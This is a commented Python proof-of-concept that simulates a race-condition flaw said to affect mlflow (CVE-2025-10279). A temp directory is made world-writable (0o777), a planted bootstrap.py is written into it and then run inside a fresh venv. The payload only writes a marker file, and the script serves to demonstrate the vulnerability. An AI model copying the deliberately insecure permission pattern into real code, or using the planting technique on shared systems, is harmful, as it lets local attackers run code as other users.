Vulnerable code sample

import os
import tempfile
import time
import subprocess
import shutil
import stat

# This code represents the vulnerable logic present in mlflow before the fix.
# It is a self-contained proof-of-concept and not the literal source code from mlflow.
#
# Vulnerability details:
# 1. A temporary directory is created.
# 2. Its permissions are insecurely set to 0o777 (world-writable).
# 3. A race condition window opens, allowing a local attacker to write files into this directory.
# 4. The mlflow process later uses this directory to create a Python virtual environment
#    and install packages, which can lead to the execution of the attacker's code.

def create_vulnerable_environment_and_execute():
    """
    Simulates the vulnerable process of creating a Python environment
    in a temporary directory with insecure permissions.
    """
    # 1. A temporary directory is created for the new virtual environment.
    # In a multi-user system, this directory is typically created in a shared
    # location like /tmp.
    env_tmp_dir = tempfile.mkdtemp(prefix="mlflow-vuln-")
    print(f"[VICTIM] Created temporary directory for environment: {env_tmp_dir}")

    try:
        # 2. THE VULNERABILITY: The directory permissions are set to 0o777.
        # This makes the directory world-writable, allowing any user on the
        # system to add, modify, or delete files within it.
        os.chmod(env_tmp_dir, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) # 0o777
        print(f"[VICTIM] Insecure permissions (0o777) set on {env_tmp_dir}")

        # 3. RACE CONDITION WINDOW (SIMULATED).
        # An attacker monitoring the /tmp directory can now see this new,
        # world-writable directory and act before the victim process populates it.
        print("\n[ATTACKER] Race condition window is OPEN for the next 5 seconds.")
        print(f"[ATTACKER] A malicious actor would now write files into {env_tmp_dir}")

        # --- SIMULATING THE ATTACKER'S ACTIONS ---
        # A separate attacker process would perform these steps in a real scenario.
        # Here, we simulate it to demonstrate the impact. The attacker will
        # place a malicious Python file that will be executed later.
        
        # The attacker needs to know what file to create. They can predict that
        # the venv creation process will create a specific directory structure.
        # They will plant a malicious file in a predictable location.
        
        # For this PoC, we assume the victim will later run a script named `bootstrap.py`
        # from within this directory. The attacker creates this file with malicious content.
        malicious_script_path = os.path.join(env_tmp_dir, "bootstrap.py")
        malicious_code = """
import os
print("!!! PWNED BY CVE-2025-10279: Malicious code is executing! !!!")
# As proof of concept, create a file in /tmp
with open("/tmp/pwned.txt", "w") as f:
    f.write("Vulnerability exploited")
print("!!! Created file /tmp/pwned.txt to prove arbitrary code execution. !!!")
"""
        with open(malicious_script_path, "w") as f:
            f.write(malicious_code)
        
        print(f"[ATTACKER] Malicious 'bootstrap.py' planted at: {malicious_script_path}")
        time.sleep(5)  # Representing the time it takes for the victim to proceed.
        print("[ATTACKER] Race condition window is now closed.\n")
        # --- END OF SIMULATED ATTACK ---

        # 4. The legitimate process continues, unaware of the compromise.
        # It now creates the virtual environment inside the directory.
        print(f"[VICTIM] Creating Python virtual environment in {env_tmp_dir}...")
        subprocess.run(
            ["python3", "-m", "venv", env_tmp_dir],
            check=True,
            capture_output=True
        )
        print("[VICTIM] Virtual environment created.")

        # 5. The legitimate process executes a script it expects to be safe.
        # However, the attacker has already placed a malicious version.
        python_executable = os.path.join(env_tmp_dir, "bin", "python")
        script_to_run = os.path.join(env_tmp_dir, "bootstrap.py")

        print(f"[VICTIM] Now executing expected bootstrap script: {script_to_run}")
        print("------------------- EXECUTION STARTS -------------------")
        
        # This command runs the malicious code planted by the attacker.
        subprocess.run([python_executable, script_to_run], check=True)
        
        print("-------------------- EXECUTION ENDS --------------------")

        # 6. Verify if the attack was successful.
        if os.path.exists("/tmp/pwned.txt"):
            print("\n[SUCCESS] Vulnerability successfully exploited. Proof file found at /tmp/pwned.txt.")
            os.remove("/tmp/pwned.txt") # Clean up proof file
        else:
            print("\n[FAILURE] Exploit did not succeed. Proof file not found.")

    finally:
        # Clean up the temporary directory.
        print(f"[CLEANUP] Removing temporary directory: {env_tmp_dir}")
        shutil.rmtree(env_tmp_dir, ignore_errors=True)

if __name__ == "__main__":
    create_vulnerable_environment_and_execute()